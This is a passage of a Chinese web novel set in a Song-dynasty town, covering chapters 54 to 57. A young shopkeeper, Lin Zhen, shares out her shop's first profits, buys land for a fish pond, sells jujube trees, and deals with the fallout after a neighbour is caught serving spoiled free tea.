“像你说的,六分挖做塘,淤泥堆作塘基,塘泥壅桑,我便要试试这桑鱼皆得的法子!” 林真有些呆,张嘴想问。 “晓得你想问甚,这是我自个儿的主意,我的嫁妆钱,没动家里一分田也没教家里出一个子儿,自是我做主。”林香莲叹气。 “都说我嫁得好,婆家日子好过,可日子谁过谁晓得。一大家子都盯着养蚕那点子出息,人是越来越多,可地却没添几亩、蚕室也没见多修几间。再不想想法子,我那一儿一女,往后日子且还不如我,这怎么成!便是折腾,我也要多挣出一条路来!” 林真听完,呱唧呱唧鼓掌。 不止与她姑说了许多她还记得的养鱼要点,还拍胸脯保证:“姑,你养的鱼,往后我都包了!” “噗嗤!”林香莲被逗笑,“那可不成,你小人家家的,身上的担子已经够重了。这卖鱼的压力哪里能压在你身上?你且不肖担心,我想养鱼,自然是晓得何处能卖出去。” 送走了她姑,林真想起家里另一位养鱼人。 “你且先瞧瞧,咱家那鱼塘置在何处才好,这月结束了,家里便有银钱买地了。” 贺景笑眯眯吃下这个饼。 “多谢林掌柜了,小的早早便瞧好了,那处不止能养鱼还能种蒟蒻,是难得的好地呢!”—— 作者有话说:林真:对比出幸福[笑哭] 第54章 九月的最后一天, 众人聚在一處盘账。 鋪子是初八开始营业的,不满一个月,居然入账八十六贯多, 杂七杂八去掉成本,净赚四十七贯多。 其中肉摊赚了大头,净利润有二十六贯多。 林真抽去一成后,林屠戶和沈山平五五分来, 一人居然还可分得十一贯出头。 “乖乖, 从前在肉行摆摊, 只有冬節和年关下才能赚得这些錢。咱这鋪子开张不到一月,且整个儿九月只有重阳一个節,可重阳赏菊吃糕、饮酒食蟹,与咱卖肉的干系倒是不大。”林屠戶最后惊叹道。 “这鋪子着实能赚錢!” 往年冬节和年关, 顶着风雪收猪杀猪,便是天上下刀子都要出门, 整日忙碌片刻不得闲。一个冬日下来, 手上脸上长满冻疮, 破皮流脓还得沾水 ,手上的皮肉没一日是好的。 如此辛苦, 才能赚得十来贯, 与这长兴坊的鋪子着实不能相比。 “是咱这铺子当道, 家里人多上心且勤快, 别的不说,咱这铺子里头连点儿灰尘都难找。明明是卖肉的铺子, 客人也乐意多站站,与咱说说闲话。”林真也高兴,这赚錢速度比她预想的还快些。 难怪这好地段的铺子赁錢如此貴, 可还是供不应求,一放出来有得是人抢,实在是当道的铺子好赚钱。 “要我说,铺子当道是一层;另一个嘛,还是咱林掌柜经营有方,不然,当道的铺子如此多,可不见得每个都能如此赚钱。”賀景笑着道。 林真大方点头:“好说,好说。” 林屠戶也笑,他又拿了一贯钱给林真。 “爹赚的钱,家用交一半儿,分你一成,我自家留一成買酒吃。” 余下的三成,自然是交给苗娘子,可林屠戶没好意思说。 他又數了一百个铜子儿给燕儿:“燕儿还小,便先分一百个钱買头绳。” “哎呦,这如何使得?燕儿年纪小,手里怎能捏如此多的钱?”苗娘子伸手拦。 “您别拦,从前我爹也是这样分钱给我的。”林真笑着道,她也數出一百个钱来,“燕儿能干着呢,我也要给燕儿发工钱的!” 燕儿小脸通红,抬着眼儿偷偷看她娘的面色。 林真将两吊麻绳串着的铜子儿塞给燕儿:“拿着!既要女子操持家务,这头一件事儿,便是手里要有钱。咱燕儿得从小习惯花钱,如此,往后便不会教钱财难住了。” 林真摸摸燕儿的小鬏鬏:“这钱是你自个儿的,怎么花我们都不管。可你要开始学着记账了,不能稀里糊涂将钱花光了,还不晓得花销在何處。” “嗯!我定然好好儿学!”燕儿用力点头,又央她阿姐,“阿姐寻人给我打个匣子罢?我出钱!” “嘿嘿,可见是手里有钱的小娘子了,话说得这样大气。可不肖你出钱,阿姐给你買一个帶铜锁的钱匣子,你自个儿可要藏好了。” 林真说完又接着数钱。 先前家里只有豆腐营生,林真便说要缴三成来家用,可这头肉摊子铺开了,她爹便不要她出这个钱。 林屠户很有些不满:“你爹且还能赚钱哩!哪有要你养家的?” 态度贼坚定,林真便不好坚持,便想着从别处孝敬她爹。 此时,她数了三贯钱,凑了个整数儿来交与苗娘子:“当初说好的一成,您可别推辞了。说来,自家里开始製作豆腐后,还是头一回分您钱呢!” 先前手里的钱着实留不住,打井買牲口修葺屋子,林真虽早早说了要给苗娘子分钱,可还从未兑现过。 她有时想来,觉着自己身上,颇有几分前世那些专给人画饼充饥的黑心资本家的影子。 苗娘子略一犹豫,还是大大方方接过来。 林家众人,与她从前所遇之人大不相同,客气虚言反倒伤情分,往后,她待他们更好些。 如此操作下来,林真,还是最有钱的那个。 手里还有将近二十贯钱! 晚间,林真从钱匣子里拿了十五贯钱来,很是豪气道:“明儿,咱们就去族长家里买地去!” 翌日,林家众人照旧赶着早市开铺子。 上半晌依旧忙碌,晌午林屠户和苗娘子来给众人送飯食,顺便换了四人家去歇息。 原先天儿热,众人晌午便多是唤汤饼铺子的索唤对付一顿,进了十月,天儿转凉,家里屋子修好便无甚大事。 苗娘子便提出来给众人送饭:“都是年轻能吃的时候,总是叫索唤对付也不成。隔间里有炉子,我家里烧了飯食送来,略热一热便能吃。下半晌生意清闲些,我和你爹倆人守铺子也能成,你们倒是去歇一歇。不然,整日忙碌不得歇,身子可吃不消。” 如此这般,守铺子的章程也定了下来:四人守上半晌,忙早市;林屠户和苗娘子守下半晌。 今儿交接完毕后,四人结伴去采买。 林真去买燕儿的钱匣子、再给家里人都扯些好布裁衣裳。 沈山平也一起,他昨儿分得了银钱家去显摆,本想学着林家那样,交一半给他爹当家用,可被他爹拒了。 “从前管着你,是你性子毛躁不经事儿。现也是自个儿张罗生意的人了,便自个儿管着罢。若是不想管,等你媳妇儿进门后,交给她管也成。反正,你爹我是不管了,管了你十来年,早烦了!” 沈山平有钱没处显摆,便想着给他爹置办身好衣裳,再买一枝好烟杆来。 众人去了王氏布行,林真与王柘有几分交情,与王氏布行的掌柜也算混了几分面熟。 去那处,布行的掌柜多客气不说,拿来的好料子价钱也实在,还给沈山平荐了好绣娘。 出了布行,又去买燕儿的钱匣子,自里头瞧见了一水儿排开的鏡台。 这样帶铜鏡的妆奁原身有一只小些的,上面雕花的纹路都快磨平了,想来是原身的爱物。 林真收拾東西的时候,便将原来的妆奁和几样原身的爱物都收拾好,悄悄埋在了原身娘亲的坟茔边儿上。 自此,清明、中元、寒衣三节,只要祭祀先人,林真便会给原身上炷香。 店内的小伙計多机灵,林真的眼儿才落在鏡台上,他便一把子掀开铜镜上盖着的罩子,热情招呼道。 “小娘子走近些,咱家店里的铜照子都是好货,打湖州来的哩!”[1] 林真依言上前。 果真是好货,镜面打磨得甚是光滑,人影儿瞧得清楚不说,还自带柔光滤镜似的,原本七分的颜色,教这铜照子一照,便显出十足的好颜色来。 “您瞧瞧,可不骗您,背面还刻有’湖州造‘的铭文哩。”小伙計一面介绍一面指着那铜镜,“这铜照子,还就数湖州石家三十郎製得好!” “怎卖的?” 小伙计露出一口白牙:“不貴,咱家这铜照子足六两,一口价,六百八十八个钱!” 嘶! 瞧着浓眉大眼的,怎狮子大开口呢! “娘子,这铜照子光是炼铜,要价便是每两一百文,再请老匠人打磨,还有木作行制装匣。这价格,咱只能赚个辛苦钱……” 小伙计嘚啵嘚啵,那模样,说得多真诚。 呵!我就听你吹! “小哥这话可是唬人了,炼铜一百钱,那得是您口中的石家三十郎亲自动手罢?一般的匠人,顶天了给六七十个钱;还有,您说这铜照子足六两,我瞧着可不像,至多五两半!” 林真此时,真的特别感谢上辈子拍视频无比较真的自己。 小伙计愣了一瞬间,这是遇上行家了啊? “小娘子,您瞧瞧,咱这三层的妆匣,里头还给您配香粉、皂豆子、牙粉和刷牙子呢!这些个香粉,都是打香药行弄来的好货,可不是杂卖铺子里头的。这牙刷子,也是太平坊凌家刷牙铺里的,全是好東西!这一套,卖您六百八十八个钱,着实不算贵了。” 嘿,我不讲价你不说是吧? 林真有些得意,心里細算过一回,伸出三个手指头来:“我一气儿买三只,你再送我三支牙刷子,咱便不讲价了!” …… 小伙计虽然一叠声儿地喊着吃亏,可那打包东西的手却是飞快。 末了,咧着嘴笑道:“承惠,收您两贯并六十四个钱。小娘子爽快,我悄悄与您将四个钱的零头抹去,您往后可要常来啊!” 从铺子里出来后,林真捂住自个儿瘪了一半儿的荷包。 “可不能再逛了,好东西忒多,瞧着甚都想买,咱赶紧去寻了沈山平家去。” 昨儿还觉着自个儿怎么着也算是小有资产,今儿市面上走一遭,才晓得好东西有得是。 溜了溜了,等荷包再鼓些,再来好好逛。 林真没想到,她在县里受一回打击,回了枣儿村,还得受一回。 “甚?这样贵?”这是她屠户爹。 林真心里平衡了,想起今儿在族长家,自己也是如此没出息。 “叔公!那处可是淤泥地啊!买下来不止自家要花大力气整田,头两年是定然没有出息的,这也要四贯钱?”林真瞪大了眼睛,瞧着族长,很有些不可置信。 “咱枣儿村离县里近,有山有水田地肥沃出息多,是个好地方,地价自然贵。”林族长还有些自得。 当年林氏一族的老祖宗们,为了占下这片地,可是拼上性命见了血的。 林真皱眉,这田契一旦经官府盖了印,落到农户手上的可不止这轻飘飘的纸,还有今年的田税。 县衙可不管你种不种得出东西来,他反正是要将赋税收到手的。 一亩地,上好的水田,夏税缴钱,只四文四分;秋税缴糧,也不过八升糧。[2] 可若是不种粮食,那就得按商税来缴:一亩田一年,足足得缴五百个钱! 林真猜测这是朝廷对农户和农业的保护。 可这政策,此时此刻,对她可不算友好。 賀景看上的那片地靠近沈山平家,在山脚下,一整片淤泥地,还有一条細细地溪水经过。此外,自带坡度,下面大片的淤泥地挖作鱼塘,上头的坡地,可种粮种树,还可搭了棚子住人。 确确实实是块养鱼的好地儿。 那一片,足有五亩多,林真原想着,淤泥荒地,十五贯钱,怎么也拿得下来。 可族长给她细细算过,那一片都拿下来,连带界石那些算上,得准备二十来贯钱;往衙门立契,还得另准备些打点钱。 林真:打扰了,兜兜转转,原是我不够有实力。 她灰溜溜家来了,想找她爹借点钱。 贺景面色有些凝重,他也没想到,枣儿村的地比贺家湾贵恁多。 他心里打退堂鼓,可林真倒是格外上心。 先不说这是一早便与贺景许下的承诺;还有林大掌柜先前劝她多置田的话。 经此一遭,她也确实见到了商税与农税的巨大差异。 心里到真想将这块地拿下来。 族长今儿有句话没说错:“村里人是越来越多了,可地头就这么大,趁早多占些地,是好事儿。这地价啊,我看还得涨。”—— 作者有话说:1 宋时,一般称呼铜镜为铜照子 2 参照的是宋代的两税法,可文中这种不种粮食的土地到底怎么缴费 蠢作者还真没查到[笑哭] 只能为剧情服务,瞎编了一个 求轻拍^-^ 突然发现今天收藏涨了好多 奇怪,还有点儿心慌[笑哭] 第55章 林屠户和苗娘子给凑了六贯钱, 林真又帶了钱去寻族长。 她買的是无主的荒地,不肖寻中人作保,族长又是里正, 这倒是省事許多。 在族长这头就可登记,銀钱备好,丈量了土地将文书与銀钱一并交与縣衙。户房的小吏核验过后,便会在文书上添一笔, 再寻攒典或縣丞钦上縣衙的印章。 土地的红契一到手, 便可埋界石。 界石一落地, 便晓得那方土地是有主的了。 说来很简单,可其中層層是关卡。 好在里正算是自家人,林真进出县衙多次算是混了个面熟,里正平日里也小心维护着县衙里头的这些关系, 有他亲自陪着,林真又早早备下几角碎银。 银钱开道, 自然好办事儿。 可即便如此顺利, 待红契到手落下界石后, 还是花去六日光景。 落界石的那日,林真在县城里守着鋪子, 倒是没瞧见这个热闹。 可她听林巧儿说得多热闹, 要请风水先生祭地上香念祭词, 还得算着时辰破土。 风水先生是老熟人了, 还是上回打井请来的那位。 “真姐儿,你是没瞧见, 那日族长耋老俱在,没有不夸你的,都说你给咱林氏一族长脸了!”林巧儿眼睛亮晶晶。 “嗯?这是怎么说的?”買个地, 怎还扯上这样的大旗了? “地價年年涨,村里許久没有人家能一气儿置办下如此多的田地来了。上回置地的还是陈家人,你此次一口气置下五畝田来,可不是给咱林家人长脸麽?”就像她家,她听她娘念叨着要置地这话就不晓得听了多少回了。 可这么多年了,家里却始终没能再添一畝半亩的田地来。 “可我那是荒地哩。”林真赶忙摆手。 “荒地怎的了?五亩荒地也要二十来贯了,也是两亩上好的水田了!”林巧儿拍拍她,故作老成道,“你好好儿幹,多多置下田地来,说不得,咱家也能出个甲首来!” 这话是林巧儿从她爹那处学来的。 枣儿村是个大村,设有十位甲首,是村里田地最多的十户人家。而三年一换的里正,都是从这十户人家里头选的。 林家在里头占了三位,若是再出一位甲首来,可不是教林氏族人的腰杆子更硬。 哦呦,她大伯瞧着不冷不热的,对她的期待很高嘛。 与林巧儿顽笑过一回后,林真便提着东西去族长家。 茶、酒、糖、点心,凑足了四色礼,族长帮着跑前跑后的,请客吃饭另说,还得帶着礼上门,正经谢一回才好。 此外,她令有一桩事儿要与族长商量。 “族长,有文叔,咱村里的枣樹卖不?就像我先前挖出来的那棵,一棵能卖三百个钱。” “甚?恁多钱?”族长驚呼出声,烟杆子差点儿没拿住。 不是他经不住事儿,实在是枣儿村祖祖辈辈卖枣子,價都贱。 赶上枣子批量成熟的时候,一个钱便能買上一小碗鲜枣;选了品相好的曬成枣幹卖,價倒是高些,可一斤也不过三四个钱。 东西多了,实在不值钱。 族长着实想不通,何人会出恁多钱买一棵还没挂果的枣樹?从前也没有人寻他们买枣樹啊。 林有文也很是驚讶,可他到底在县里做过事,脑子跟活泛些,立即便问:“真姐儿这样问,可是有人寻你买樹?可有甚条件?” “自然有,人只出钱。挖树种树都得咱这头出人手,最要紧的是,要保证种下去的树能活。”林真道。 这也是林真急哄哄来寻族长的原因,上回她自家移栽树木时,瞧着不仅麻烦还很費时间。 可移栽树木最好在春秋二季,她是想赶着在秋日里多卖出去几颗,也教族里有个进项,年下多给族中的孤寡老弱添些过冬粮。 这话林真也说了,她说得倒是平静,可却教林正业父子心中是又惊又愧。 惊的是:林真这样年纪輕輕的小娘子,心中却有一番大义,如此胸襟气度,着实难得。 愧的是:自个儿白白虚混了好些年,又占了族长的名头,可还不如这年轻小娘子能干。 “这是天大的好事儿!如何不能卖?”林正业先一口应下来,又赞道,“真姐儿好能耐,此事族里得承你的情。你只需应下买主,其余的事儿一应不肖你操心,我自会安排人办好!” 三人又商量了些细节之处,便先定下三棵树来。 这三棵树是两家掌柜自个儿来寻林真定下的。 一位是街对面点酥斋的掌櫃,他是最先来的。 “林掌櫃,你瞧瞧,我那头是不是向着日头一直教曬着?晚秋和冬日还好,天儿转凉了,可若是夏日里,一大早便教日头晒得慌!可咱这坊内不就是早市最热闹麽?教这日头一晒,人都不愿意往那边儿走!我那些个糕点干果教这日头晒的,都不好看了!还有,我夏日支了摊子卖熟水,里头的冰碴子都要比别家的化得快!” 点心鋪的掌櫃一通抱怨,他那头,若是搭棚子便会显得闷,招幌也教挡住了。他心里早早便想移棵树来,可问来问去,要价都太狠。 前些日子瞧着林掌櫃种树,又打听得那枣儿树居然是白送的! 他心里便存了买树的念头。 瞧着那枣树顺顺趟趟种下,且跟着来的老者显然是有些本事在身的,那枣儿树现在瞧着多精神。 心里最后一点儿疑虑也去了,他便头一个上门来问。 一打听,要价三百个钱,点酥斋的掌柜心中一喜,一口气儿要了两棵来。 瞧点酥斋掌柜那样子,林真自然晓得自个儿这个价格要低了。 可她也没反悔加价,现在怎么着儿也算半个生意人了,得讲诚信。 且先前茶掌柜那头的枣树是白送的,有了这层缘由在,这枣树也卖不上高价,再说了,枣儿树着实不是甚名贵树种,能卖出这个价来,她已是欢喜。 另一位掌柜倒不是受光照之类的困扰,人纯粹是迷信。 “我瞧茶掌柜那鋪子,本是快开不下去了,可移栽了你这枣树后,倒是多热闹。枣树好,帶财,意头也好,我那鋪子前面光秃秃的,种棵枣树,冬日扎彩绸,春夏有花草,弄得好看些,也能多引些客来。” 这位是成衣铺的女掌柜,更喜欢人唤她黄繡娘。 黄繡娘裁衣刺繡样样精通,她那铺子里头的衣裳从配色到压襟的绣样,样样都好,瞧着多雅致。 人来的时候还多客气,给林真带了两方素色绣花的手帕,林真回赠了一包葛粉,两人多欢喜的将这桩生意谈下来。 可不曾想,待选了日子要种树的时候,隔壁茶掌柜的铺子里,偏偏出事儿了。 一大早,一穿绸戴金的年轻公子哥,领了一大群健壮大汉来。 气势汹汹,也不言语,只动手,三两下便将茶掌柜的铺子给砸了! 特别是茶掌柜门口摆出来的供行人自取的茶汤,陶缸教人砸了稀巴烂,褐色的茶汤淌了一地。 那公子哥凑近了,伸手一捻,面上怒火更甚,大声喝骂道:“黑了心肝的东西,果真是用隔夜的馊茶来害人!” 一抬头,瞧见高高悬着的’免費茶汤‘的木牌子,一把扯下来摔在地上,他尤不解气,自个儿抢过长棍来,一伸手,将茶掌柜门上的牌匾也一并捅下来,砸了。 等别着水火棍巡街的步快跑来时,茶掌柜的铺子已经教砸得不成样了。 那公子哥瞧着步快是一点儿不怕,将棍子杵在地上,道:“来得正好,铺子是我砸的,我自会与你们走一遭。可这黑了心肝的奸商,打着免費赠茶的幌子,用隔夜的馊茶汤来害人!把他一并拘了!那馊茶也带上,咱们一同往县衙去,免得我还要寻讼师写状纸!” 这身份,瞬间从闹事的霸王变苦主。 茶掌柜一叠声地喊着冤枉,可还是被带走了。 林真瞧那领头的步快对那公子哥似乎有些忌惮的模样,便悄悄问黄绣娘:“这人是谁?瞧着倒不怕进衙门。” “人家业大,家里能出关做生意,外祖家又是开镖局武馆的,咱这头最大的威远镖局晓得罢?就是他外祖家的,开了几十年了!县衙的杨典史也与他家有亲,自是不惧。”黄绣娘在此十来年了,消息自是要灵通些。 她皱着眉:“也不晓得这茶掌柜是怎的得罪他了,他家里人如何会来讨免费茶汤喝?可若真是喝了他家那隔夜茶汤有个甚,这茶掌柜,怕是要脱层皮。” 林真沉默了,她想过茶掌柜或許会将茶缸子换小;或许会将茶叶直接换作粗茶,更或者,干脆不再免费了。 可她着实没料到,茶掌柜居然会抠搜成这样,一点子茶沫,隔夜了还要冲给人吃。 好一会儿,她才道:“那啥,这树,您还要不?” 黄绣娘很有些迷信,连破开整匹的布料都要选日子,出了茶掌柜这事儿,也不晓得还会不会买那枣儿树。 “要!怎的不要?”黄绣娘语气坚定,“一命二运三风水,四积德来五读书,这枣儿树已给带了财来,是茶掌柜自个儿做事不讲究,这才坏了运。树是好树,怎能怪在这上头来?” 三棵枣树到底是顺利种下了。 浇过两次水,枣树顺利成长的时候,隔壁被贴了条儿的茶铺子终于有了动静。 茶掌柜被家里人用驴车接了回来,一家老小八口人,谁也不晓得,是甚时候悄无声息的走了。 只晓得,隔壁这铺子在庄宅牙人那头挂出去了,不是租赁,说是要直接售卖。 这消息是许经纪递来的,他来的时候还神秘兮兮的。 “我听了些消息,茶掌柜赔钱不说,还被判了笞刑。可他受刑时,言语间攀咬你来着,说是这免费茶汤的主意,是你给他出的?” 林真一惊,心里头些许的愧疚教这消息炸了个烟消云散。 这狗东西,居然还想将她牵扯进去! 她大大方方点头:“是,我瞧茶掌柜盯着我这头的客人,那眼珠子都红了!想着和气生财的理儿,我便给他出了这主意。可那馊茶汤可不是我费心留下的,更不是我泡的!怎的,还想将这祸事往我身上引啊?” 许经纪急忙道:“哎呦,都晓得此事是茶掌柜咎由自取。我就是给你提个醒儿,那杨典史家的侄儿,可是个霸道性子,这厢是他奶娘教茶掌柜这茶汤坏了肚子,那杨霸王自小与这奶娘亲厚,六十来岁的人了,此番遭了老罪了,他可是气得不轻。这厢茶掌柜是走了,可我怕这杨霸王还不解气,会来寻你的麻烦哩!”—— 作者有话说:[红心][橙心][黄心][绿心][蓝心][青心][紫心] 第56章 “真姐儿, 那甚楊霸王真会来找事儿?”沈山平将剔骨刀往案板上一杵,“哼!随他来,如此不占理, 咱还怕了他不成!” “大哥,你先别急。”賀景拦住沈山平,“你瞧瞧真姐儿,可有一点儿忧心的模样?” 沈山平依言看去, 果真瞧见林真面无异色, 连先前在许经紀面前露出的那丝焦急, 也消失得无影无踪。 賀景倒真会揣摩人的心思,林真笑了笑,道。 “沈大哥不必急。你且想想,咱在这头开鋪子, 已是一月有余,别说从没遇见来闹事儿的, 你可曾听说过有甚欺行霸市的泼皮无赖?” 沈山平仔细想过一回, 摇摇头:“这倒是不曾。” “这就是了, 慈溪县富足安定少有闹事者,足以见咱们县公是个秉公执法的好官, 既如此, 咱有理, 便不肖担忧。” 这是林真的心里话, 慈溪县确实算不错了,虽没到夜不闭户的程度, 可怎么也算是物阜民丰、政通人和了。 这县老爷还会派农官教百姓种桑养鱼,至少不是个怠忽荒政的混子官;再不济,她还能找林大掌柜捞一捞不是? 只不过林真现在, 轻易不会动用这份儿人情。 “还有,那天我留心瞧了,那楊霸王先是砸的茶缸,做实了茶缸里的是馊茶汤后,他才动得手;再来,他也不曾伤人,茶掌柜来拦,他也是教人将他制住,那棍子都是朝物件上招呼,避开了人的。如此种种,瞧着可不似个无脑鲁莽的。” 林真一番话,将沈山平安抚住。 他放下剔骨刀,凶相隐去几分,疑惑道:“那这许经紀是个啥意思嘛?吓唬咱?” 林真差点儿笑出声,幸亏许经纪这殷勤劲儿没对着沈山平使。 不然,岂不是媚眼儿抛给瞎子看? “人自然是来賣好的。消息应当是真的,他递过来,无论那楊霸王来不来找咱麻烦,咱都得承他的情。” 这是一层,再有,若是林真不禁事,真被吓唬住了,许经纪顺势将此事揽下来,当个中间的说和人,这人情就真欠大了。 到那时,林真还真要好好谢他一回。 “啊?那照你这么说,此事,不肖忧心?”沈山平有些疑惑。 “咱该幹甚还幹甚,平日里如何行事就如何,便是那楊霸王当真上门来,也不惧,身正不怕影子斜麽。”林真先给人定心,而后又补充道,“可这毕竟是我的猜测,为保万无一失,我先去找人打听打听消息。” 林真便空着手,溜达着去了坊內的琼衣坊。 “呀!林掌柜今日怎有空到我这头来?”鋪子里没客人,黄绣娘一眼便瞧见了林真。 “有些事儿拿不准,想来黄绣娘这头取取经。”林真大大方方道,随即一摊手,“只是手上暂且没甚能拿得出手来的,若是黄绣娘有空,咱去丰乐楼一聚?” “哎呦呦,你这女陈平怎还有用得着我的时候?来来来,那甚丰乐楼咱先不去。先好好说说是甚事儿難住了你,也好教我显摆显摆。”黄绣娘笑着打趣。 林真却是听得眼前一亮,这黄绣娘的消息果真灵通,且人还聪慧,只一句话,就曉得自个儿是为了甚事儿来尋她的。 “黄绣娘才是心细如发足智多謀,一眼,就曉得我为何而来。既如此,我也不藏着掖着的,您可曉得那杨霸王是个甚性子?果真会听了茶掌柜的只言片语,就来尋我的晦气?” “咦?你这是何處听来的危言?那杨家在慈溪县扎根多年,颇有些急公好义的名头。杨家那小霸王性子是霸道,可也不是甚横行霸道的恶人,杨家管他严得狠呢!这小霸王的名头,还是他从前不经事儿,为人强出头得来的。”黄绣娘娓娓道来,“你怕他来寻你麻烦呀?大可不必,你那鋪子里头都是好货,且这些日子林掌柜的为人咱都看在眼里,你可没欺客哩!” 黄绣娘说到此處还好笑:“若他真来了,你大可臊他一臊。好好问一问’没出事儿前,茶掌柜仗着这免费茶汤的好主意赚足了风头,那时候怎不说这主意是你出的?等一出事儿了,便要攀咬他人?‘哼!我保准啊,那小霸王一个字儿都答不出来。” 果真教自个儿猜着了! 林真心中一喜,又急忙道谢:“多谢黄绣娘肯为我解惑,旁人是来吓唬我的,只有你与我说实话。这厢可真是不晓得怎么谢娘子了。” “嗨,这算甚?你多寻几人打听打听杨家行事作风,以妹子的聪慧,还猜不出来麽?”黄绣娘摆摆手并不居功,瞧见林真一副诚心想谢的模样,倒是起了心思顽笑。 “倘若真要谢,还请咱女陈平给我参謀参谋,怎生教我这鋪子多引些客人来。你给茶掌柜出得主意极好,你不晓得,若是没出馊茶汤这档子事儿,坊內其余两家茶铺子也要效仿着如此行事呢!动作快的那家,连招牌都制好了!可惜咯,这下只能再等些时日,避避风头。” “嗨,黄姐姐可别笑话我了,我年轻见识浅,哪里有那许多赚钱的计谋呢?这获利之事,非得经年累月的用心经营着才成,咱只能做好自个儿的事,其余的,便只能碰碰运气了。”林真摆手自谦。 黄绣娘也晓得是这个理儿,赚錢的法子,谁不是自家捂得紧紧的?她也不过是顽笑话,刚想说话,却听得林真继续道。 “黄姐姐晓得,我是头一朝经营買賣,心里悬吊吊的,便格外多思些,有时想像自个儿是买家,倒是偶有灵光闪现。姐姐看得起我,我便说与姐姐听一听,只是成与不成的,可不敢打包票。” “好妹子,我如何不晓得这道理?你放心,有甚话你只管说,我可不是茶掌柜那等不识好歹的。”黄绣娘赶忙保证,又将林真给请到内室稍坐,还泡了一壶好茶来。 林真环视一圈儿,此处想来是客人试衣裳的地儿了,针线、软尺、剪刀、火斗、划粉…… 各类器具样样俱全,林真且还认不全,不过如此多的东西,收拾得倒很是齐整,并不会教人觉着杂乱。 她心中有数,便开口:“姐姐这铺子外头瞧着不显眼,内里却有乾坤。布置得如此雅致,铺子里的东西又好,若是客人进门,怎会不动心?” 黄绣娘一拍大腿:“教妹子说中了!我这手上功夫不差,十来年的功夫,当年在绣坊内也是数得上的!这进了铺子的客人,少有空手而归的,可它就是不引客啊!这些年,我是甚法子都想了,先前还专专雇了一位小娘子在外头揽客,好嘛!银錢和功夫都废了,还是没教客人踏进门来!” 黄绣娘大倒苦水,先前这铺子也是当道的,那时候生意不错,可后头这长兴坊扩了又扩,打那时起,这铺子的生意便愈发冷清了。 要不,她也不会想着栽树挂绸子的,想方设法来引客啊! 这些年,黄绣娘不是没想过换一处经营。 可换铺子多難,这铺子是她早些年買下的,连带着后院儿一起,后头还堆放着好些料子,若是换铺子,找个地方够宽敞的地儿可不容易,且这賃钱就要多出一大截儿来。 她这铺子不当道,若是賃出去,可能还抵不了新铺子的赁钱。左右都是难,便只能先这样混着。 林真听了好一会儿,点点头:“是,您这铺子不当道,便要想着法子先搞些动静来,再来,是您这招牌幌子,与别家成衣铺子大差不差的,您得换些新鲜花样来。” “怎说的?”黄绣娘急忙问道。 …… “怎说的?” 好半晌,林真才回了自家铺子上来,一回来,留守铺子的两人齐齐发问。 林真摆摆手:“无事儿,咱该干啥还干啥,若是那小霸王寻来了,咱就当普通客人对待就是了。” “噫,还真会来啊?”沈山平问道。 林真点点头:“我估摸着,会!” 没两日,杨家那小霸王果真来了。 只这会瞧着不似那日派头大,身边儿只跟着一老者,穿着也挺低调。 他在铺子里头转一圈儿,又跑到賣肉的摊子上细瞧,眼睛在那块’今日鲜货‘的牌子上盯了许久。 “杨霸,咳咳,杨小郎君,可是要买肉?”林真主动招呼道。 好险,差点儿将人的诨号叫出来了。 “哼,你认得我?”杨霸王道。 “哎呦,若是不认得您,那才是装相了不是?”林真很是坦荡。 “到是有几分胆气,比那起子黑心肝的小人强上些许,我告诉……” “咳咳!”老者咳嗽几声,还念叨了一句:年纪大了毛病多,勿怪勿怪。 林真:忍笑。 “我今儿是来买肉的!我外祖武館里头的厨娘说你这头的东西好,人还实诚,我便来瞧瞧,若是好的,便买些去。”杨霸王憋屈改口。 “嗯?哪位娘子如此仗义执言?我得好生谢谢她。” “吴娘子,嘴皮子特利索,喜戴梳篦的……” “哦?想起来了,那位娘子倒是常来我这处。” 这不是那天将茶掌柜好一通骂的娘子么?嘴皮子果真是利索。 倆人还真你一言,我一语地攀谈起来。 站在杨霸王身后的老者有些无奈,不得不出声提醒道:“旭哥儿,正经事儿。” “哦哦,对,我今日来是同你做生意的。这样,你每日捡两根筒子骨和五斤糟头肉,送到威远武館去,豬头賣不卖得出去?若是卖不出去也送去那头,那里的小子肚儿里无底洞似的,有再多的肉都吃得完。” “我这豬头已教朱家分茶店定下了,他家的鹵猪头肉,弹牙软糯,卖得很是不错呢!” 怎的?这杨霸王不是来寻麻烦的,反倒像来报恩的? 他口中的这些个猪肉,都是不好卖的部分。 “啊?那你这铺子生意不错,猪头都能日日卖出去,那还有啥卖不出去的?”杨旭直直问道。 他身后那老者,已是一副:罢了罢了,这场子是救不回来了的模样。 林真一笑:“这铺子有各位贵客的照拂,生意一直不错,这厢又添了威远武馆的单子,再不用发愁了。只是我得白问一句,日日都要这些肉,您那头真能吃得下麽?” “怎吃不下?武馆里头十来个小子丫头,都是能吃的时候。”杨旭道。 “哟,您那武馆里头恁多小徒弟啊?”林真一边闲搭话,一边动手装肉。 “也不是……” 武馆里头的那群小孩,是商队送来的,来历有些不光彩,杨旭吭哧吭哧说不出话来。好在林真也只是闲聊一句,并未再问,他也安静下来。 肉都包好,贺景陪着走了一趟,去认路。 说定了每日送货的时辰,这桩生意,就算是定了下来—— 作者有话说:陈平:汉时谋臣,以奇计百出著称 今天耽搁, 抱歉抱歉[求你了] 第57章 杨家此事算是告一段落, 茶掌柜离开了,隔壁的铺子说是賣出去了,可一直没甚动静。 虽还有些许流言蜚语, 可也不痛不痒,林家铺子算是进入了平稳期。 没两日,瓊衣坊出了好一阵儿风头。 先是走街串巷的伶人排了一首好词儿,各处传唱。 ’长兴坊内有瓊衣, 好衣好布好价格。 今朝让利大甩賣, 旧友新客莫迟疑。 三两银錢裁锦绣, 百文铜板换罗衣。 郎君选件青云褂,娘子挑條霓彩裙。 人人俱是喜开颜嘞,喜开颜!’ 同一时间,琼衣坊门前竖了一长杆, 上头挂着各色香囊,配色巧妙不说, 那形状瞧着真真新奇。 莲花、元宝、金鱼儿……各色形状都挂了一排, 香囊下头的穗子随风舞动, 瞧着就喜人。 再一打听,说那挂出来的香囊都是彩头, 凡在店内置衣買料子的, 只要满了三百个錢, 便可取木筹一支。木筹投中哪个香囊了, 店家便当场取下来,送与客人。 要是没投中呢? 不肖忧恼, 店家也送一方素色帕子哩! 琼衣坊的门前,那是人潮涌动声如锣,足足熱闹了好几日! 那些时日里, 长兴坊内就數黃绣娘那处熱闹! 这份儿热闹,将前些日子的纠纷和流言一并压了下去。 关于茶掌柜、关于林真,再无人提起。 偶有瞧见原先那铺子迟迟不开门,掌柜们也只是嘀咕一句:可别来个与我家做一样营生的。 林真对此很是满意,众人的注意力从她身上移开,铺子的生意未受影响,肉摊子处还又多了條销路;家里人也未受影响,心里的忧虑才两日就消散了,反倒都生出一种意外的歡喜来。 